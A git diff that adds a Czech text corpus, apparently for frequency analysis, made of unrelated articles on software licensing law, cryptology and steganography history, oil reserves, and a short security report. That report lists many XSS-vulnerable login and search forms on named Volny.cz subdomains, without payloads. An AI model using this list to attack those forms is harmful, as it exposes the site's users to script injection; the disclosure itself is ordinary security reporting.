pocitacich. Policie ma na zaklade soudniho povoleni moznost kontroly pouze tech pocitacu, ktere jsou ve vlastnictvi kontrolovaneho subjektu. Pokud tedy mate napriklad ve firme svuj osobni pocitac, nemuze policie pristoupit i k jeho kontrole. Kontrola se dale netyka obsahu datovych nosicu. Budete-li mit vedle pocitacu polozena zaznamova media, pak na nich muzete mit, co chcete a tyto se nestanou obsahem probihajici kontroly. Ta se zameruje vzdy jen na nainstalovany software. Jakmile policie skonci se soupisem nainstalovaneho softwaru, je nalez predan soudnimu znalci k vyhodnoceni. Na majiteli pocitacu nasledne je, aby dolozil legalitu zjisteneho softwaru. Pokud se v pocitacich najde nainstalovany software, u ktereho nemuze majitel pocitace dolozit jeho legalni nabyti, vyziva policie autory softwaru, aby si vycislili vzniklou skodu. V tuto chvili je posledni sance na mimosoudni vyrovnani, ktere je v kazdem pripade pro pachatele vyhodnejsi, nez dlouhotrvajici soudni spor. V blizke budoucnosti budou moci legalitu softwaru ve firmach kontrolovat i financni urady, pricemz v soucasne dobe probihaji prvni skoleni techto uredniku.
+Jake jsou tresty
+
+Pri prokazanem pouziti nelegalniho softwaru je pachtel povinnen uhradit krome nahrady skody take vydani bezduvodneho obohaceni autoru dila ve vysi dvojnasobku obvykle odmeny za uziti dila. Navic by bylo mylne se domnivat, ze nahradou skody a vydanim bezduvodneho obohaceni, si pachatel software zlegalizuje. Pokud chce dany software pouzivat, musi si jej nasledne jeste koupit. Celkem v takovem pripade zaplati pachatel mimo nahradu skody software trikrat. Krome peneziteho trestu stanovuje trestni zakon tresty i v podobe propadnuti veci nebo odneti svobody. Tento paragraf si proto dovolim citovat nize. Jen jeste uvedu, ze znacnym prospechem v odstavci 2 je mysleno obohaceni, nebo-li pouziti nelegalniho software v hodnote presahujici 500.000Kc.
+
+§ 152 Porusovani autorskeho prava, prav souvisejicich s pravem autorskym a prav k databazi
+(1) Kdo neopravnene zasahne do zakonem chranenych prav k autorskemu dilu, umeleckemu vykonu, zvukovemu ci zvukove obrazovemu zaznamu, rozhlasovemu nebo televiznimu vysilani nebo databazi, bude potrestan odnetim svobody az na dve leta nebo penezitym trestem nebo propadnutim veci.
+(2) Odnetim svobody na sest mesicu az pet let nebo penezitym trestem nebo propadnutim veci bude pachatel potrestan,
+a) ziska-li cinem uvedenym v odstavci 1 znacny prospech, nebo
+b) dopusti-li se takoveho cinu ve znacnem rozsahu.
+
+Priste si probereme, cim pro nas muze byt softwarovy audit prospesny a cim dokladovat legalitu softwaru.
\ No newline at end of file
diff --git a/php/frekvencni_analyza/czech.txt b/php/frekvencni_analyza/czech.txt
new file mode 100644 (file)
index 0000000..a338e94
--- /dev/null
@@ -0,0 +1,219 @@
+O sifre DN a hashovaci funkci HDN
+Autor: .cCuMiNn.
+
+Rekne-li se jmeno Vlastimil Klima, jiste si kazdy z vas vybavi jeho nositele, predniho ceskeho kryptologa, ktery je znam jak u nas, tak i v zahranici diky sve jedinecne praci, kterou v oblasti kryptologie odvadi. Je autorem skoro dvou stovek odbornych clanku a mnoha prednasek. Podili se na vyvoji spickovych sifrovacich technologii a mezi jeho prace lze pocitat projekty pro NBU, prvni cesky sifrovaci chip, prvni on-line sifrovani ve Windows a nekolik sifrovacich algoritmu. Do povedomi siroke verejnosti se zapsal predevsim algoritmem nejrychlejsiho nalezeni kolizi u hashovaci funkce MD5 z lonskeho roku.
+
+V poslednich dnech se vsak nejvice mluvi o specialni blokove sifre DN a hashovaci funkci HDN, ktere jsou diky zcela novemu pojeti meznikem v oblasti kryptologie. Vlastimil Klima stravil nad projektem dlouhe dva roky, jejichz vysledkem je popis slabin soucasnych sifrovacich algoritmu a novy, mnohem bezpecnejsi koncept, ktery je tak prevratny, ze jej NBU uvolnil ke zverejneni a oponenture.
+
+Vysledek sve prace publikoval Vlastimil Klima na svem webu a v e-zinu Crypto-world, ktery je registrovanym odberatelum dostupny ke stazeni na strance http://crypto-world.info. Volne dostupny bude ovsem az za tri tydny a tak redakce e-zinu Crypto-world souhlasila s uverejnenim tohoto clanku na nasem portale. Vy se tak muzete zacist do techto nadcasovych informaci, ktere se s nejvetsi pravdepodobnosti zapisi tucnym pismem do dejin kryptologie.
+
+Prace Vlastimila Klimy vcetne uvodu Tomase Rosy o specialni blokove sifre DN a hashovaci funkci HDN ke stazeni: Rodina specialnich blokovych sifer DN a hasovacich funkci nove generace HDN typu SNMAC
+Ptejte se Vlastimila Klimy
+
+Az do konce brezna mate navic moznost polozit Vlastimilu Klimovi svuj doplnujici dotaz prostrednictvim nize umisteneho formulare. Abych trochu uklidnil ty z vas, kteri by meli pred timto velikanem ostych, neodpustim si citaci pana Klimy, ktery mi ve svem e-mailu napsal tato slova:
+
+„Otazky od ctenaru, vsechny, dokonce i ty zcela zdanlive nejhloupejsi otazky (maji blize ke genialite nebo necemu prevratnemu nez ty prumerne chytre), jsou pro me zpestrenim, duvodem k zamysleni a motivaci.“
+
+(Tato moznost jiz koncem brezna skoncila. Odpovedi na sve dotazy naleznete v tomto clanku.)
+
+Sifry a kody moderni doby 4.dil
+Autor: .cCuMiNn.
+
+Steganografie
+
+Jakmile si lide zacali uvedomovat cenu nekterych informaci, zacali premyslet, jak tyto informace ukryt pred zraky tech, jimz tato informace neni urcena. Mnohdy totiz stalo az prilis penez, ci lidskych zivotu, pokud se informace ocitla v nespravnych rukou.
+Skryti :)
+Steganografie
+(z reckych slov steganos-skryte, graphein-pismo)
+
+Vedni obor, ktery se zabyva utajenim informaci s cilem ukryt komunikaci pred okolnim svetem.
+
+Asi nejstarsi dolozitelna zminka o pouziti steganografie pochazi ze stare povesti, jejiz dej se odehrava v patem stoleti pred nasim letopoctem, v dobe vlady krale Dariuse. Ten veznil Reka Histiaea, ktery tajne odeslal zpravu svemu zeti Aristagorovi do Anatolianu tak, ze zpravu nechal vytetovat na oholenou hlavu sveho otroka. Teprve pote co hlava otroka opet zarostla vlasy, vydal se na cestu, aby tento vzkaz dorucil. Prijemce zpravy nechal hlavu otroka opet oholit, aby si tak mohl informaci vytetovanou na jeho hlave precist. Sami vidite, ze se jednalo o velice zdlouhavou proceduru, kterou nebylo mozne pouzit ve vsech pripadech utajovane komunikace.
+
+V historii se proto setkavame s dalsimi zpusoby pouziti steganografie. V antickem Recku se napriklad pouzivaly drevene desticky. Na ty se vzkaz nechal napsat nebo do nich vyryt a posleze se zalil vrstvou vosku, ktery byl podobneho vzhledu jako desticka. Informace se pak objevila teprve ve chvili, kdy se vosk opet zahral a z desticky odstranil.
+
+Patrne nejznamejsi steganograficke metody zname z historie jsou zalozeny na pouziti ruznych neviditelnych inkoustu. Zpravy napsane takovouto tekutinou nebyly za beznych podminek na papire viditelne a svuj obsah odhalovaly teprve, pokud byly vystaveny zvlastnimu osvetleni nebo pokud prosly nejakou chemickou cestou, nejcasteji po zahrati archu nad plamenem. Mezi tyto neviditelne inkousty patrily ruzne ovocne stavy (vymackany citron), mleko nebo moc. Dnes se muzeme v zabavne steganografii setkat s neviditelnymi inkousty, ktere jsou bezne k dostani v obchodech, napriklad v podobe fixu, jejichz pismo je citelne, pouze pod ultrafialovym zarenim.
+
+Dalsi z metod, kterou si muzete sami vyzkouset, je pismo pod skorapku neoloupaneho, natvrdo uvareneho vajicka. Rikate si, ze to neni mozne? Jiz v patnactem stoleti popsal tuto metodu italsky renesancni vedec Giovanni Battista della Porta. Pripravite-li si roztok octa a kamence (je bezne dostupny v drogerii), muzete timto roztokem neviditelne psat po skorapce uvareneho vajicka, pricemz roztok pronika az na bilek a zanechava na nem kresby. Vysledek je citelny az ve chvili, kdy nekdo vejce oloupe a jeho popsany bilek odhali. Stejne tak priklady ukryti informace ve skorapce od orechu nejsou nijak ojedinele. Z doby druhe svetove valky pak jsou zname priklady, kdy byla informace drobounkym pismem napsana na druhe strane knofliku nebo byla ukryta na pasu filmu pomoci jakychsi mikrotecek.
+
+Pouziti steganografie muzeme dale podporit neznamym zpusobem kodovani nebo zasifrovanim skryvane informace. Zved usilujici o takovou informaci je postaven hned pred dva nelehke ukoly. Skrytou informaci musi nejenom nalezt a prolomit tak steganografii, ale pote i dekodovat nebo desifrovat a tim prorazit kryptologii.
+
+Ukazeme si zde par prikladu, ktere spojuji steganografii s Morseovym kodovanim (Morseova abeceda). Informaci, kterou potrebujeme ukryt nejprve znak po znaku zakodujeme Morseovym kodovanim za pouziti nasledujici tabulky do vysledku skladajiciho se pouze z tecek a carek.
+
+A takto bychom ji mohli ukryt pomoci steganografie:
+
+- Velikosti pismen
+Nahrazenim tecek za mala pismena a carek za pismena velka. Jednotliva slova volime stejne delky jako je pocet carek a tecek jednoho pismena. Nejlepsich vysledku pak dosahneme, pokud vznikla veta dava smysl.
+
+Ukryti informace do velikosti pismen.
+
+
+- Nakreslenim pily
+Tecky delame jako nizsi zuby, carky jako vyssi. Pismena oddelujeme mensim zubem smerujicim dolu, cela slova pak zubem vetsim.
+
+Sifry a kody moderni doby 3.dil
+Autor: .cCuMiNn.
+
+Signal a jeho prenos
+Po precteni prvnich kapitol, kde jsme se seznamili s informacemi a zpusobem jejich kodovani, prichazi nyni na radu, rici si neco o cestach, kterymi se zakodovana informace muze sirit. K cemu by informace byla, pokud by se nemohla prenaset?
+
+Signal – znameni s urcitym vyznamem, ktere s sebou nese informaci.
+
+
+Signaly se k prenosu informace vyuzivaji od nepameti. Nejprve slouzily k prenosu zprav mezi u sebe stojicimi jedinci nebo se signaly predavaly jako znameni pomoci ruznych obrazcu. Objevila se vsak myslenka na rychly prenos informace na velke vzdalenosti. Americti Indiani pouzivaly napriklad kourove signaly a africane prenaseli zpravy zvukem pomoci bubnu. Zhruba pred tremi tisici lety zacaly prvni rise stavet signalni site straznic na vyvysenych mistech, odkud se mohly informace sirit v podobe kourovych, ohnivych, vlajkovych nebo jinych signalu na velikou vzdalenost a rychle tak dokazaly pozadat o pomoc pri napadeni. Z jednoho takoveho stanoviste bylo vzdy videt k mistum dalsim, takze vznikala jakasi postupna reakce tvorena napriklad zapalovanim hranic a signal se tak mohl prenest na stovky kilometru vzdalena mista. Signal prenasejici informaci, se tak stal dulezitou soucasti zivota. Kdo neovladal umeni prenest informaci, mel ve valkach predem predurcenu porazku. Stejne podstatne, jako schopnost prenaset vlastni informace, je pro strategicke ucely valky dulezite narusovani komunikace nebo obsah zprav znepratelene strany. Drive se stacilo zmocnit jedne signalni hranice a cela sit byla nahle narusena. Stejne tak bylo mnoho bitev vyhrano diky podvrzeni falesnych zprav a odchycenim zprav druhe strany. Asi nejvetsi a nejznamejsi vladce, ktery dokazal s informacemi a jejich prenosem delat prave zazraky byl Alexandr Veliky, ktery se tak stal jednim z nejmocnejsich vladaru. Dnes se pro ruseni signalu pouzivaji nejruznejsi rusicky radioveho signalu a jina podobna zarizeni. Na Internetu se s podobnym rusenim muzeme setkat napriklad v podobe DOS utoku, ktery nam odepre ziskani pozadovanych informaci.
+
+Popiseme si zde blize jakym zpusobem k prenosu informace dochazi.
+Schema prenosu signalu
+
+    * Zdroj zpravy (informace)
+    * Kodovani (prevede informaci na dohodnuty tvar)
+    * Modulace (premeni zakodovanou informaci na prenosovy signal)
+    * Prenos signalu (sireni signalu prenosovou cestou)
+    * Demodulace (premeni signal na zakodovanou informaci)
+    * Dekodovani (prevede kod na srozumitelnou informaci)
+    * Prijemce zpravy
+
+
+
+Od doby, kdy se signal prenasel vyse popsanym zpusobem uplynuly jiz tisice let, nicmene schema prenosu informace se zachovalo az do dnesni doby. Samozrejme s tim rozdilem, ze doslo k nahrazeni jednotlivych fyzickych soucasti modernimi prvky. Funkci vojaka jez zapaluje hranici, nahradili elektronicke kodery a modulatory, ktere prevadi informace na presne elektricke signaly. Rychlost a objem prenasenych informaci se take mnohonasobne zvysily. Zpusoby, jakymi se dnes na dlouhe vzdalenosti signaly prenasi jsou jine. V dnesni dobe nam k prenosu informace slouzi nejcasteji elektricke impulsy nebo elektromagneticke vlneni.
+
+Moderni historie prenosu informace se zrodila na prelomu 18. a 19. stoleti, kdy byl vynalezen telegraf. Doslo k vytvoreni telegrafni site, ktera se zacala nahrazovat siti telefonni pote, co Alexander Graham Bell sestrojil v roce 1876 prvni telefonni pristroj. Z prenosu signalu se stal business. Dnes jsme obklopeni signaly temer vsude, kde se nachazime. Kolem nas na ruznych frekvencich proudi kazdou vterinou miliony bitu ruznych informaci, od rozhlasovych ci televiznich vysilani, pres pasma mobilnich operatoru ci site poskytovatelu wi-fi pripojeni k Internetu. Z druzic na obezne draze na nas neustale dopadaji informace o presnem case pro urceni presne polohy (GPS), prochazime se pod dratovym vedenim telefonnich spolecnosti a vse nam pripada naprosto normalni.
+
+
+Alexandr Makedonsky (Veliky) Alexandr Makedonsky (Veliky)
+(20.7.356pr.n.l. – 13.6.323pr.n.l.)
+
+Jedna z nejvetsich osobnosti svetoveho valecnictvi.
+Jako jeden z prvnich dokazal ovladnout silu informace a tuto schopnost nalezite vyuzit ve svych valecnych tazenich.
+
+
+Kdo ma informace, je mocny. Ten, kdo jich ma vice a rychleji je mocnejsi. Zivot bez informaci a bez jejich prenosu neni v soucasne spolecnosti mozny.
+
+Sifry a kody moderni doby 2.dil
+Autor: .cCuMiNn.
+
+Kodovani
+Kdyz nyni vime co jsou to informace, je na case si povedet neco o zpusobu, jakym informace sdelujeme. Informace sami o sobe by byly pouze zmeti chaosu, kdyby neexistovalo kodovani.
+
+
+Kodovani - dohodnuty zpusob komunikace, neboli souhrn pravidel pro vyjadreni informace.
+
+
+Nebudeme-li pocitat ruzne posunky, mimicka gesta a skreky, ktere mezi kody samozrejme patri take, muzeme za nejstarsi kodovani povazovat jazyk, kterym se lide dorozumivaji a pismo, ktere informaci dokaze uchovat po veky. Nebude proto od veci, kdyz si historii pisma trochu pripomeneme.
+
+Historie pisma
+Za tvurce prvniho pisma jsou povazovani Sumerove. Ti zacali nejdrive pouzivat obrazkove pismo, kde kazdy obrazek vyjadruje jednu konkretni vec nebo osobu. Takovemu pismu rikame piktogramy. Nasledne se jednotlive piktogramy zacaly slucovat do slozitejsich obrazku, ktere vyjadrovaly cele myslenky, ci deje. Tyto nazyvame ideogramy.
+
+Rosettska deska Materialem pro zaznamenani informaci se na dlouhou dobu stal kamen. Diky pouziti tohoto tvrdeho materialu se podarilo uchovat tisice let stare pisemne dedictvi az do dnesni doby. O davno zaniknutych civilizacich se muzeme docist napriklad z egyptskych hieroglyfu, ktere se podarilo rozkodovat teprve nedavno. Francouzky vedec Jean Francois Champollion diky zname Rosettske desce, dokazal roku 1822 precist informace, ktere zustavaly po staleti zapomenuty. Tato vzacna kamenna deska, ktera byla nalezena roku 1799 dustojnikem Napoleonske armady, obsahuje totiz text v hieroglyfech a soucasne preklad textu v rectine.
+
+Klinove pismo Tesani informaci do kamene, bylo pomerne narocne, v Mezopotamii se proto pouzivaly tabulky z vlhke, tvarne hliny, do kterych se seriznutym rakosem vrypovalo pismo slozene prevazne z car. Vrypy tvaru klinu, dali nazev klinovemu pismu, jehoz vznik je prisuzovan take Sumerum. Tabulky se pote nechali vysusit na slunci nebo se ve vyjimecnych pripadech vypalovaly. Mezi dalsimi materialy pro zaznam pisma najdeme papyrus nebo pergamen.
+
+Za dalsi dulezity meznik v historii lze povazovat vznik foinickeho pisma. Toto pismo vzniklo kolem roku 1500 pr.n.l. a na rozdil od piktogramu nebo ideogramu predstavoval kazdy znak urcitou slabiku. Pismo obsahovalo pouze souhlasky a celkem bylo slozeno ze 22 znaku. Foinicke pismo prevzali pozdeji Rekove, kteri jej upravili a rozsirili o nektera pismena vcetne samohlasek. Recka abeceda se rozsirila do Italie, kde dala vzniknout latince, kterou pouzivame dodnes.
+
+Soucasna kodovani
+S kody v ruznych podobach se setkavame opravdu na kazdem kroku. Auto ukazujici na krizovatce smer jizdy vysila kod, ktery si spravne interpretujeme, predpokladame-li jeho odboceni. Semafor na krizovatce nas pomoci barevnych kodu take informuje o urcite situaci, na kterou musime reagovat. Krome pisma pouzivame dale barevne, obrazkove ci zvukove kody. Obrazkove kody, kterymi jsou napriklad dopravni znacky nebo symboly na ruznych kontrolkach maji tu vyhodu, ze prekonavaji jazykovou barieru a stavaji se mezinarodne srozumitelne. S rozmachem vypocetni techniky se zacaly pouzivat nove kody (programovaci jazyky), pomoci kterych programatori komunikuji se strojem. U osobniho pocitace se muzete setkat s vyrazem kodovani cestiny a podobne.
+
+Ten, kdo si pod pojmem kodovani predstavoval tajne sifry, kterym rozumi pouze hrstka vyvolenych, ma nyni snad jasno. Kodovani je bezna soucast vsedniho zivota, nikterak se nesnazi o ukryti informace, ale naopak zajistuje pravidla pro jeji srozumitelny prenos. Jak jsme si vsak ukazali na priklade egyptskych hieroglyfu, nastava jina situace v pripade, ze dojde k zapomenuti pravidel, ktera byla pri kodovani pouzita. V takovem pripade se kryptoanalitici pekne zapoti, nez dokazi tyto kody dekodovat. Dodnes tak mnoho pradavnych kodu ceka na rozlusteni, aby mohli vydat sva tajemstvi…
+
+Sifry a kody moderni doby 1.dil
+Autor: .cCuMiNn.
+
+Abychom spravne pochopili principy moderniho sifrovani, neobejdeme se bez znalosti historie a nekolika definic. No a kde zacit jinde nez u definice informace, u ktere vsechno zacina a take konci…
+Informace
+Informace – slovo, ktere kazdy z nas pouziva denne pri mnoha prilezitostech. Informace jsou beznou soucasti naseho zivota, ovlivnuji v nem kazdy okamzik a da se rici, ze bez informaci by v dnesni informacni spolecnosti nemohl clovek existovat. Ne nadarmo se rika, ze informace maji cenu zlata. I kdyz dokazeme toto slovo vsichni bez problemu pouzivat, jen malokdo zna presny vyznam tohoto slova, pricemz dostupnych vykladu a definic muzeme najit hned nekolik. Jelikoz se k informacim pristupuje v ruznych vednich oborech odlisne, jsou i definice v kazdem z nich ruzne, presto se da ale rici, ze zaklad maji vsechny tyto definice stejny.
+
+Informace – sdelitelny poznatek, ktery ma smysl a snizuje nejistotu.
+
+
+Na prikladech si rozvineme predchozi definici, tak aby byla vsem srozumitelna:
+
+Do losovaciho bubnu vlozime jeden los. Pokud od nekoho dostaneme zpravu, ze bude vylosovan prave tento los, bude to pro nas informace s nulovou informacni hodnotou, protoze jde o jev jisty. Pokud bychom do bubnu vlozili losu sto a nekdo by nas predem informoval, ktery los bude tazen, bude pro to pro nas informace s vysokou informacni hodnotou, jelikoz jde o jev velmi malo pravdepodobny.
+
+Podobnym prikladem muze byt i tato uvaha: Je normalni, ze kazdy den jezdim do prace autobusem, ktery vzdy prijizdi presne. Informace typu „zitra prijede autobus presne“ pro me tedy nema temer zadnou hodnotu, vzhledem k tomu, ze to predpokladam. Ovsem informace „autobus ma poruchu a zitra nepojede“ ma pro me informacni hodnotu velikou, protoze to nemohu predpokladat a musim si tim padem zajistit jiny zpusob prepravy.
+
+Z uvedenych prikladu vyplyva, ze kazda zprava nese urcite mnozstvi informace. Velikost tohoto mnozstvi zalezi na predpokladatelnosti jevu, o kterem informuje. Pravdepodobnost vyskytu urciteho jevu se oznacuje mirou neurcitosti (entropie). Cim je entropie vetsi, je vyskyt jevu pravdepodobnejsi a mnozstvi informace je mensi. Stejne plati i opak, cim je entropie mensi, je mene pravdepodobny vyskyt jevu a mnozstvi informace je proto vetsi. Aby se dala velikost informace porovnavat, byla zavedena velicina informace a jednotkou teto veliciny byl zvolen Sh [shannon]. Nazev byl zvolen podle matematika C.E.Shannona, ktery jako prvni vytvoril definici informace a dokazal jeji meritelnost.
+
+Claude Elwood Shannon (30. 4. 1916 – 24.2.2001) Claude Elwood Shannon (30. 4. 1916 – 24.2.2001)
+
+Americky matematik a inzenyr, jeden ze zakladatelu teorie informace. Zamestnanec Bellovych laboratori, v roce 1948 publikoval v casopise Bell System Technical Journal clanek "The Mathematical Theory of Communication". Spolu s Warrenem Weaverem autor obecneho modelu komunikace (1947).
+
+
+V souvislosti s informacemi, se pouzivaji take terminy data a znalosti, ktera maji s informacemi velmi pribuzny vztah. Informace, ktere nemaji samy o sobe smysl nazyvame data a informace, ktere jsme si jiz osvojili a ktere tedy vime, oznacujeme jako znalosti.
+
+Kryptologie, sifrovani a tajna pisma
+Autor: .cCuMiNn.
+
+obalka knihy Po par mesicich se mi opet dostala rukou kniha venujici se kryptologii. Kniha s vystiznym nazvem Kryptologie, sifrovani a tajna pisma znameho ceskeho kryptologa Pavla Vondrusky, kterou vydalo nakladatelstvi Albatros v edici OKO. Ihned po precteni prvnich stran bylo zjevne, ze autor tuto knihu psal privetivym stylem, ktery je velmi ctivy a porozumet obsahu vam rozhodne nebude cinit potize.
+
+Autor ctenare postupne zasveti do zakladu kryptologie, vysvetli mu nejpouzivanejsi vyrazy a ukaze prakticke pouziti jednotlivych sifrovacich systemu a pouzivanych sifer. Je jich tolik, ze kdybych mel vsechny sifry a sifrovaci systemy, kterym se kniha podrobne venuje, vyjmenovat, popsal bych zde nekolik stran. Uvedu proto pouze strucny prehled klasickych sifrovych systemu, ktere kniha popisuje:
+
+    * Polyalfabeticke sifry
+    * Jednoducha transpozice
+    * Uhloprickove-sloupcova transpozice
+    * Dalsi transpozicni systemy
+    * Zlomkovy sifrovaci system
+    * Kombinovane klasicke sifry
+    * Steganograficke metody
+    * Neviditelne inkousty
+
+U kazdeho z uvedenych sifrovacich systemu jsou uvedeny i jeho slabiny a jsou popsany metody a postupy, kterymi je mozne jednotlive sifry desifrovat.
+
+Nasleduje bohaty vycet dulezitych dat a mezniku v dejinach kryptologie zhruba od roku 1900 pr.n.l. az po soucasnost. V tomto vyctu nalezne ctenar popis vsech dulezitych sifrovacich systemu, ktere se v historii pouzivaly a se kterymi se muze setkat.
+
+Panu Vondruskovi se podarilo nenasilnou formou vysvetlit zaklady kryptologie a zapalit tak ve ctenarich touhu po novych informacich. Kniha je tak urcena jak naprostym zacatecnikum, tak i pokrocilejsim zajemcum o tajemstvi tohoto obru. Trochu me zamrzelo, ze kniha nebyla o par set stran tlustsi a ze se autor nemohl vice venovat soucasnym sifrovacim medodam, ktere se bezne pouzivaji ve svete informacnich technologii. Takova kniha mi na pultech knihkupectvi v soucasne dobe opravdu schazi a pral bych si, aby se stala pristim dilem tohoto autora. Ackoli ma kniha Kryptologie, sifrovani a tajna pisma na nasem trhu jiz nejakou tu konkurenci v podobe knih Sifry a kody od hyeroglifu po hackery nebo Sifrovani a biometrika aneb tajemne bity a dotyky, ktera se navic venuje i soucasnym systemum, musim konstatovat, ze uvod do kryptologie zvlada kniha pana Vondrusky mnohem lepe a detailneji nez ostatni zminovane tituly.
+
+Pokud se mi ve vas podarilo vzbudit zajem o knihu Kryptologie, sifrovani a tajna pisma, pak tato recenze splnila svuj ucel. Nemilou povinnosti vsak zustava upozorneni na skutecnost, ze kniha byla vydana v mensim nakladu a behem kratke doby byla temer vyprodana. Doporucuji vam proto vyrazit na pruzkum knihkupectvi co nejdrive, protoze jedine tak mate jeste sanci zahlednout tuto knihu v nekterem z regalu. Pokud byste to stesti nemeli a knihu jiz nesehnali, nezbyva nez doufat, ze diky uspechu, ktery kniha mela, se brzy dockame i jejiho opetovneho vydani.
+
+
+Budoucnost ropy
+
+Svetove zasoby ropy se pomalu ztencuji. Spotreba teto tekutiny se kazdym rokem zvysuje a za poslednich 5 let stoupla ze 77 milionu barelu na 84 milionu barelu za den. Z tohoto vyvoje lze jednoduse spocitat, ze behem 21.stoleti budou veskera svetova loziska ropy vycerpana. Jednotlive zeme tezici ropu maji dnes zasoby uz pouze na nekolik desetileti. Saudska Arabie ma pri zvysujici se produkci zasobu maximalne na 40 let. Zasoby Iranu a Iraku se diky velmi nizke tezbe odhaduji na 90 let. V techto statech navic panuje napjata politicka situace a dodavky ropy z techto zemi mohou byt touto skutecnosti znacne poznamenany. Na ruskem uzemi se odhaduje zasoba ropy priblizne na 25 let a nova loziska se v teto zemi budou hledat jen velmi obtizne v mistech tezko dostupnych strojum potrebnym pro tezbu a prepravu. Co se ropy tyce, stane se vsak Rusko pro pristi desetileti pravdepodobne nejspolehlivejsim dodavatelem.
+
+Nedojde-li na trhu s ropou k nahlym vykyvum dodavek, zpusobenych vojenskymi konflikty v Iranu, rozpadem Saudske Arabie nebo terorismem v Iraku, poroste denni svetova spotreba ropy zhruba k roku 2020. V tomto roce se podle odhadu bude spotreba pohybovat na hranici priblizne 115 milionu barelu za den. V dalsich letech jiz bude ropy viditelne ubyvat a spotreba bude klesat diky neunosne vysoke cene teto tekutiny.
+
+Je proto zrejme, ze se lidstvo musi touto problematikou zabyvat a musi tedy najit surovinu, kterou by slo „cerne zlato“ plne nahradit. Vedci se jiz dlouho pokousi vyrobit takovou surovinu z obnovitelnych zdroju. Jednim z uspesnych pokusu, ktery z rukou vedcu vzesel je BIO nafta. Tato tekutina je smesi metylesteru a motorove nafty, pricemz metylester se ziskava ze semen repky olejne a v BIO nafte je ho tretinovy podil. Toto palivo navic produkuje mnohem mene spalin nez bezne pohonne hmoty, cimz mene zatezuje zivotni prostredi. V soucasne dobe tvori podil biologickeho paliva zhruba 2% z celkove spotreby pohonnych hmot v Ceske republice. Nase vlada se navic jako clenska zeme Evropske Unie zavazala do roku 2010 zvysit tento pomer na 5,75%.
+
+Aby se vsak Ceske republice podarilo dostat sveho zavazku, je nutne udrzet vyrobu metylesteru na urovni 100.000 tun za rok. Takto vysoka produkce ale predstavuje zpracovani 280.000 tun semene repky olejne a vyuziti priblizne 120 000 hektaru orne pudy. Ceska vlada se proto rozhodla podporovat v teto oblasti zemedelce a vyrobce metylesteru. Od roku 1997 uvolnuje kazdym rokem dotace ve vysi nekolika set milionu Korun. Pro spotrebitele je pak BIO nafta zvyhodnena nizkou spotrebni dani.
+
+Cena BIO nafty bohuzel zustava v soucasne dobe vyssi nez cena bezne nafty a spotrebitel tak radeji voli mene ekologickou variantu. Cenovy rozdil se vsak postupne snizuje. Skutecnost, ze cena bezne ropy postupne poroste vlivem jejiho nedostatku, nahrava prave zvysovani podilu bio slozky v palivech. V brzke dobe se tak pravdepodobne dockame uplneho nahrazeni stavajicich pohonnych hmot nekterou z vice ekologickych variant ziskavanou z obnovitelnych zdroju energie. Vyhneme se tak katastrofickemu ropnemu soku, ktery by nas mohl behem nekolika desetileti postihnout.
+
+
+
+
+Bezpecnost na webu Volny.cz
+Autor: .cCuMiNn.
+
+nologo Po bezpecnostnim testu venovanem freemailu spolecnosti Seznam.cz, ktery skoncil s oznamenim zranitelnosti na CSRF utoky, jsem se tentokrat zameril na web Volny.cz spolecnosti Telekom Austria. Vysledkem bezpecnostniho testu je tento report, ktery informuje o nalezenych zranitelnostech.
+
+Jako prvni jsem se zameril na hledani zranitelnosti v podobe XSS. Tyto by mely byt na portalech teto velikosti podchyceny, protoze jde snad o nejvice diskutovany a zdokumentovany druh zranitelnosti. Ac jsem nachylnost na utoky XSS necekal, nasel jsem jich na webu Volny.cz spousty. Da se dokonce rici, ze bylo spise vyjimkou, pokud prihlasovaci nebo vyhledavaci formular touto chybou netrpel.
+XSS na webu Volny.cz
+
+    * Vyhledavani, na uvodni strance a pod odkazem vyhledavani, ktere bezi na domene volny.zlatestranky.cz.
+    * Vyhledavani ve zbozi, ktere bezi na domene zbozi.volny.cz
+    * Vzhledavani v e-shopu na domene shop.volny.cz
+    * Dalsi chybicka se nachazi na domene web.volny.cz pri prihlasovani k SMS.
+    * XSS zranitelnosti trpi i formular pro prihlaseni k mailovemu uctu, ktery je umisten na hlavni strance web.volny.cz. Tomuto formulari sice nelze predat data odkazem, protoze je cerpa z cookies, ale presto tuto zranitelnost obsahuje.
+    * Dalsim postizenym mistem je chat.volny.cz, kde obsahuje XSS zranitelnost prihlasovaci formular, kteremu je nutne data poslat metodou post.
+    * Stranka s SMS je ve svem formulari pro vyhledavani take nachylna pres POST vhodne upravenych dat, stejne jako formular pro vyhledavani v televiznich programech na adrese http://web.volny.cz/zabava/tv/
+    * Sekce album.volny.cz je nachylna ve formulari pro prihlaseni a soucasne take ve formulari pro vyhledavani.
+    * Zrejme proto, aby v tom spolecnost Volny.cz nezustala sama, umoznuje neosetrene prihlasovani i do dalsich domen. Napriklad na adrese http://sex.volny.cz/ muzete vyvolat XSS pokud se pokusite prihlasit s vhodne upravenym PoST pozadavkem k seznamce www.amateri.cz. Tato chyba ovsem vznika az v kontextu zminene seznamky a proto se ji zde nebudeme zabyvat.
+
+
+Legalita software a softwarovy audit (2)
+Autor: .cCuMiNn.
+
+V minulem dile tohoto serialu jsme si rekli neco o autorskem zakonu, o tom kdy dochazi k jeho porusovani a o trestech, ktere hrozi tomu, kdo autorsky zakon porusi. Priblizili jsme si take policejni zakrok pri kontrole legalnosti pouzivaneho softwaru a prave na ten dnes navazeme dilem, ktery se bude venovat dokladum, ktere potrebujeme k prokazani legalniho nabyti softwaru.
+Cim dokladovat legalni nabyti softwaru
+
+Nejdulezitejsim dokladem o legalnim nabyti softwaru je faktura nebo jiny doklad vystaveny prodejcem. Timto dokladem deklarujeme pri kontrole legalni nabyti softwaru. Z tohoto duvodu je nutne veskere doklady o koupi softwaru peclive uschovat a mit je dostupne po celou dobu pouzivani daneho programu. Na toto je dulezite myslet hlavne ve firmach, ktere maji povinnost uchovavat danove doklady pouze po dobu peti let a pak casto dochazi k jejich skartovani. V pripade, ze by ke skartovani techto nabyvacich dokladu doslo, budete legalnost softwaru prokazovat jen tezko a pokud nedohleda tyto doklady ani vas dodavatel, budete software nuceni koupit podruhe. Jestlize jste porizovali k nekterym svym programum upgrade, pak je dulezite uschovat doklady nejen od koupe tohoto upgradu, ale zaroven musime dokladovat i legalni nabyti predchozi verze, kterou v soucasne dobe jiz nepouzivame, ale diky ktere jsme meli narok na slevu v ramci upgrade.
+
